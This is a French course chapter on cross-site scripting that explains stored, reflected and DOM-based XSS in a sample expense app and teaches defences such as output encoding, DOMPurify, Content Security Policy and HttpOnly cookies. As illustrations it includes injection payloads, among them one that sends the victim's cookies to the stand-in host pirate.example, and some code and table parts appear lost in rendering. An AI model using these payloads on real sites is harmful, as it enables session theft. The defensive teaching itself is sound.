Faille XSS : réfléchie, stockée, DOM et CSP

Une faille XSS (cross-site scripting) permet à un attaquant de faire exécuter son propre code JavaScript dans le navigateur d'un autre utilisateur, en l'injectant dans une page du site visé. C'est une injection (A05:2025, CWE-79), la plus fréquente des vulnérabilités web publiées. Ce chapitre présente les trois types de XSS (stockée, réfléchie, DOM), ce qu'un attaquant peut en faire, la parade principale (l'encodage des sorties selon leur contexte) et les défenses complémentaires : bibliothèque de nettoyage, Content Security Policy et cookies HttpOnly.

C'est quoi une faille XSS ?

Le navigateur fait confiance à tout le code JavaScript d'une page : celui écrit par le développeur, et celui qui s'y est glissé. Si une page affiche une saisie de l'utilisateur sans la neutraliser, et que cette saisie contient <script>, le navigateur exécute le script comme s'il venait du site, avec les mêmes droits : il lit la page, envoie des requêtes avec les cookies de la victime, modifie l'affichage.

La faille est côté serveur ou côté code du front (la page construite sans précaution), mais la victime est l'utilisateur dont le navigateur exécute le script. C'est la différence avec une injection SQL, qui attaque directement le serveur.

XSS stockée

Dans AppliFrais, le visiteur saisit un libellé pour chaque frais hors forfait. Le comptable consulte ensuite les fiches dans son interface, qui affiche les libellés. Un visiteur malveillant saisit ce libellé :

Taxi gare<script>fetch('https://pirate.example/vol?c=' + document.cookie)</script>

La version PHP de l'interface comptable affiche les lignes ainsi :

<!-- VULNÉRABLE -->
<td><?= $ligne['libelle'] ?></td>

Quand le comptable ouvre la fiche, son navigateur exécute le script. Si le cookie de session n'a pas l'attribut HttpOnly, il part chez l'attaquant, qui l'installe dans son propre navigateur et devient le comptable. Il valide alors ses propres frais. La charge reste en base : chaque comptable qui ouvre la fiche est touché.

XSS réfléchie

La page de recherche affiche le terme cherché :

<!-- VULNÉRABLE -->
<p>Résultats pour « <?= $_GET['q'] ?> »</p>

L'attaquant fabrique un lien et l'envoie au comptable par mail, sous un prétexte crédible :

https://frais.gsb.fr/recherche?q=<script src="https://pirate.example/x.js"></script>

(Dans un vrai lien, les caractères spéciaux sont encodés : %3Cscript%20src%3D…, ce qui rend la charge moins visible.) Le serveur « réfléchit » la saisie dans sa réponse, et le navigateur du comptable exécute le script en croyant qu'il vient de frais.gsb.fr. Rien n'est stocké : la victime doit cliquer sur le lien.

XSS basée sur le DOM

Ici, le serveur n'y est pour rien : c'est le JavaScript du front qui insère une donnée contrôlable dans la page.

// VULNÉRABLE : le fragment de l'URL est inséré comme du HTML
const onglet = decodeURIComponent(location.hash.slice(1));
document.querySelector('#titre').innerHTML = `Onglet : ${onglet}`;

Avec l'URL https://frais.gsb.fr/#<img src=x onerror=alert(document.domain)>, l'image ne se charge pas, son gestionnaire onerror s'exécute. Le fragment après # n'est même pas envoyé au serveur : aucun filtre côté serveur ne peut le voir. La correction utilise textContent, qui insère du texte et jamais du HTML :

document.querySelector('#titre').textContent = `Onglet : ${onglet}`;

Les « puits » dangereux du DOM, à n'utiliser qu'avec des données sûres : innerHTML, outerHTML, insertAdjacentHTML, document.write, eval, setTimeout avec une chaîne, new Function, et les attributs href ou src qui reçoivent une URL javascript:.

Ce que peut faire un attaquant

alert(1) sert à prouver la faille ; une vraie attaque est plus discrète. Le script injecté peut :

• voler la session, si le cookie n'est pas HttpOnly, ou un jeton stocké dans localStorage (lisible par tout script de la page) ;
• agir à la place de la victime sans rien voler : envoyer des requêtes à l'API avec ses cookies (valider une fiche, changer l'email du compte, créer un administrateur) ;
• lire tout ce qu'affiche la page : données personnelles, montants, jetons anti-CSRF ;
• enregistrer les frappes au clavier sur la page ;
• afficher un faux formulaire de connexion sur le vrai site, pour récupérer le mot de passe ;
• rediriger vers un site piégé.

Encoder les sorties selon le contexte

La parade principale est l'encodage en sortie (output encoding) : au moment d'insérer une donnée dans la page, on remplace les caractères qui ont un sens pour le navigateur par leur équivalent inoffensif. <script> devient <script>, qui s'affiche comme du texte et ne s'exécute pas.

On encode en sortie, au moment de l'affichage, et non à l'entrée : la même donnée peut être affichée en HTML, envoyée dans un JSON, écrite dans un PDF ou un fichier CSV, et chaque destination a ses propres règles. Stocker en base <script> abîme la donnée pour tous les autres usages.

En PHP, la fonction est htmlspecialchars :

<td><?= htmlspecialchars($ligne['libelle'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></td>

Depuis PHP 8.1, ENT_QUOTES | ENT_SUBSTITUTE est le comportement par défaut, mais l'écrire explicitement évite les surprises sur une ancienne version. Une petite fonction d'aide allège le code :

function e(?string $texte): string {
    return htmlspecialchars($texte ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
// <td><?= e($ligne['libelle']) ?></td>

Le contexte compte. L'encodage HTML protège le contenu d'une balise et la valeur d'un attribut entre guillemets. Il ne suffit pas partout :

Les moteurs de gabarits encodent par défaut. Twig (Symfony) et Blade (Laravel) avec {{ variable }}, EJS avec <%= variable %>, Razor (ASP.NET) avec @variable encodent automatiquement. Les écritures qui désactivent l'encodage sont les endroits à vérifier en priorité dans une revue de code : {{ variable|raw }} en Twig, {!! variable !!} en Blade, <%- variable %> en EJS, @Html.Raw() en Razor.

XSS et frameworks : React, Vue, Angular

Les frameworks front modernes encodent tout ce qu'ils affichent par défaut. En React :

<td>{ligne.libelle}</td>        {/* sûr : React insère du texte */}

Le cours React présente les composants et le JSX.

La protection tombe dans quelques cas, à surveiller :

• dangerouslySetInnerHTML en React, v-html en Vue, [innerHTML] associé à bypassSecurityTrustHtml en Angular : ils insèrent du HTML brut. Leurs noms sont des avertissements.
• Les URL fournies par l'utilisateur dans href : un lien javascript:alert(1) exécute du code au clic. Ne compte pas sur le framework pour le bloquer : vérifie que l'URL commence par https:// ou http://.
• L'accès direct au DOM (ref.current.innerHTML = …) contourne le framework.
• Le rendu côté serveur qui injecte un état initial dans un <script> sans l'encoder correctement.

// Vérifier le schéma d'une URL saisie par l'utilisateur
function urlSure(saisie) {
  try {
    const url = new URL(saisie);
    return ['https:', 'http:'].includes(url.protocol) ? url.href : null;
  } catch {
    return null;   // ce n'est pas une URL absolue valide
  }
}

Accepter du HTML : nettoyer avec DOMPurify

Parfois, l'utilisateur doit pouvoir mettre en forme son texte : un commentaire en gras, une liste. On ne peut plus tout encoder. On nettoie alors le HTML avec une bibliothèque éprouvée, qui ne garde que les balises et attributs d'une liste blanche et retire tout le reste (scripts, gestionnaires on…, URL javascript:).

import DOMPurify from 'dompurify';

const propre = DOMPurify.sanitize(htmlSaisi, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'ul', 'ol', 'li', 'p', 'br'],
  ALLOWED_ATTR: [],
});
// <p>Bonjour <b>Léa</b><img src=x onerror=alert(1)></p>  →  <p>Bonjour <b>Léa</b></p>

Côté serveur en PHP, la bibliothèque HTML Purifier joue le même rôle. Écrire son propre filtre avec des expressions régulières (« je retire les <script> ») est voué à l'échec : <ScRiPt>, <img onerror=…>, <svg onload=…> et des dizaines d'autres variantes passent au travers. Encore mieux, quand c'est possible : un format sans HTML, comme Markdown, converti par une bibliothèque qui nettoie sa sortie.

La CSP, deuxième ligne de défense

La Content Security Policy (CSP) est un en-tête HTTP par lequel le serveur indique au navigateur quelles sources de scripts, de styles, d'images ou de cadres il a le droit de charger et d'exécuter. Une XSS qui réussit à insérer <script> dans la page est alors bloquée, car ce script ne fait pas partie des sources autorisées.

Une politique stricte, basée sur un nonce (un jeton aléatoire, différent à chaque réponse) :

Content-Security-Policy: default-src 'self'; script-src 'nonce-4f9c2e81b7' 'strict-dynamic';
  object-src 'none'; base-uri 'none'; frame-ancestors 'none'

Seuls les scripts qui portent l'attribut nonce="4f9c2e81b7" s'exécutent. Le serveur ajoute ce nonce à ses propres balises <script> ; l'attaquant ne le connaît pas, puisqu'il change à chaque page.

Avec Express, le middleware helmet pose une CSP par défaut (et d'autres en-têtes), à adapter :

import helmet from 'helmet';

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      objectSrc: ["'none'"],
      frameAncestors: ["'none'"],
    },
  },
}));

Pour déployer une CSP sur une application existante sans la casser, on commence par l'en-tête Content-Security-Policy-Report-Only : le navigateur signale les violations dans la console (et à une adresse de rapport) sans rien bloquer. On ajuste, puis on passe à l'en-tête définitif.

Cookies HttpOnly et autres protections

• HttpOnly sur le cookie de session : le script injecté ne peut plus le lire avec document.cookie. Il peut toujours agir dans la page, mais il ne vole plus la session pour l'utiliser ailleurs (attributs des cookies).
• Pas de jeton dans localStorage quand on peut l'éviter : contrairement à un cookie HttpOnly, il est lisible par tout script de la page.
• Content-Type exact et X-Content-Type-Options: nosniff : une réponse JSON servie en application/json n'est pas interprétée comme du HTML.
• Des fichiers envoyés servis sans danger : un fichier .html ou .svg déposé comme « justificatif » et servi depuis le domaine principal peut contenir du script. On les sert avec Content-Disposition: attachment, ou depuis un domaine séparé.

Tester une XSS sur ton application

Sur ton application, et seulement elle, saisis dans chaque champ qui est réaffiché quelque part des charges de test, puis observe :

Si la page affiche le texte tel quel (<script>alert(1)</script> visible à l'écran), l'encodage fonctionne. Si une boîte d'alerte apparaît, la faille est là. Les scanners DAST comme ZAP automatisent ces essais (chapitre 14).

$lien = $ligne['lien_justificatif'];
$schema = parse_url($lien, PHP_URL_SCHEME);
if (!in_array($schema, ['https', 'http'], true)) {
    $lien = '#';
}
?>
<a href="<?= htmlspecialchars($lien, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?>">Voir le justificatif</a>